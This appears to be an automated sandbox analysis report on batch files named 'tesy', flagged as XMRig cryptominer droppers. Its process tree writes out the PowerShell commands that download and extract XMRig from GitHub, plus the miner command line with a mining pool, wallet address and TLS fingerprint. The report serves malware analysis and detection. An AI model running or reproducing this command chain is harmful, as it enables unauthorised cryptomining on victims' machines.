Overview
overview
10Static
static
1tesy - Copy (10).bat
windows10-1703-x64
10tesy - Copy (11).bat
windows10-1703-x64
10tesy - Copy (12).bat
windows10-1703-x64
10tesy - Copy (13).bat
windows10-1703-x64
10tesy - Copy (14).bat
windows10-1703-x64
10tesy - Copy (2).bat
windows10-1703-x64
10tesy - Copy (3).bat
windows10-1703-x64
10tesy - Copy (4).bat
windows10-1703-x64
10tesy - Copy (5).bat
windows10-1703-x64
10tesy - Copy (6).bat
windows10-1703-x64
10tesy - Copy (7).bat
windows10-1703-x64
10tesy - Copy (8).bat
windows10-1703-x64
10tesy - Copy (9).bat
windows10-1703-x64
10tesy - Copy.bat
windows10-1703-x64
10tesy.bat
windows10-1703-x64
10Analysis
-
max time kernel
1797s -
max time network
1801s -
platform
windows10-1703_x64 -
resource
win10-20231215-en -
resource tags
arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system -
submitted
25/12/2023, 07:36
Static task
static1
Behavioral task
behavioral1
Sample
tesy - Copy (10).bat
Resource
win10-20231215-en
Behavioral task
behavioral2
Sample
tesy - Copy (11).bat
Resource
win10-20231215-en
Behavioral task
behavioral3
Sample
tesy - Copy (12).bat
Resource
win10-20231215-en
Behavioral task
behavioral4
Sample
tesy - Copy (13).bat
Resource
win10-20231215-en
Behavioral task
behavioral5
Sample
tesy - Copy (14).bat
Resource
win10-20231220-en
Behavioral task
behavioral6
Sample
tesy - Copy (2).bat
Resource
win10-20231220-en
Behavioral task
behavioral7
Sample
tesy - Copy (3).bat
Resource
win10-20231215-en
Behavioral task
behavioral8
Sample
tesy - Copy (4).bat
Resource
win10-20231215-en
Behavioral task
behavioral9
Sample
tesy - Copy (5).bat
Resource
win10-20231215-en
Behavioral task
behavioral10
Sample
tesy - Copy (6).bat
Resource
win10-20231220-en
Behavioral task
behavioral11
Sample
tesy - Copy (7).bat
Resource
win10-20231215-en
Behavioral task
behavioral12
Sample
tesy - Copy (8).bat
Resource
win10-20231215-en
Behavioral task
behavioral13
Sample
tesy - Copy (9).bat
Resource
win10-20231215-en
Behavioral task
behavioral14
Sample
tesy - Copy.bat
Resource
win10-20231215-en
General
-
Target
tesy - Copy (4).bat
-
Size
608B
-
MD5
727c8da0478af118c957ae60f7161cab
-
SHA1
cf18105b8659e93bbd2824fa35ef1bae7b395301
-
SHA256
97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
-
SHA512
d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01
Malware Config
Extracted
https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip
Signatures
-
XMRig Miner payload 63 IoCs
resource yara_rule behavioral8/memory/4188-122-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-123-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-126-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-127-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-130-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-131-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-132-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-133-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-134-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-135-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-136-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-137-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-138-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-139-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-140-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-141-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-142-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-143-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-144-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-145-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-146-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-147-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-148-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-149-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-150-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-151-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-152-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-153-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-154-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-155-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-156-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-157-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-158-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-159-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-160-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-161-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-162-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-163-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-164-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-165-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-166-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-167-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-168-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-169-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-170-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-171-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-172-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-173-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-174-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-175-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-176-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-177-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-178-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-179-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-180-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-181-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-182-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-183-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-184-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-185-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-186-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-187-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig behavioral8/memory/4188-188-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp xmrig -
Blocklisted process makes network request 2 IoCs
flow pid Process 2 2956 powershell.exe 7 2956 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 4188 xmrig.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2956 powershell.exe 2956 powershell.exe 2956 powershell.exe 4696 powershell.exe 4696 powershell.exe 4696 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2956 powershell.exe Token: SeDebugPrivilege 4696 powershell.exe Token: SeLockMemoryPrivilege 4188 xmrig.exe Token: SeLockMemoryPrivilege 4188 xmrig.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4188 xmrig.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 4408 wrote to memory of 2956 4408 cmd.exe 15 PID 4408 wrote to memory of 2956 4408 cmd.exe 15 PID 4408 wrote to memory of 4696 4408 cmd.exe 76 PID 4408 wrote to memory of 4696 4408 cmd.exe 76 PID 4408 wrote to memory of 4188 4408 cmd.exe 77 PID 4408 wrote to memory of 4188 4408 cmd.exe 77
Processes
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"1⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2956
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (4).bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4408 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4696
-
-
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exexmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b142⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4188
-
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
-
Filesize
3KB
MD556efdb5a0f10b5eece165de4f8c9d799
SHA1fa5de7ca343b018c3bfeab692545eb544c244e16
SHA2566c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108
SHA51291e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc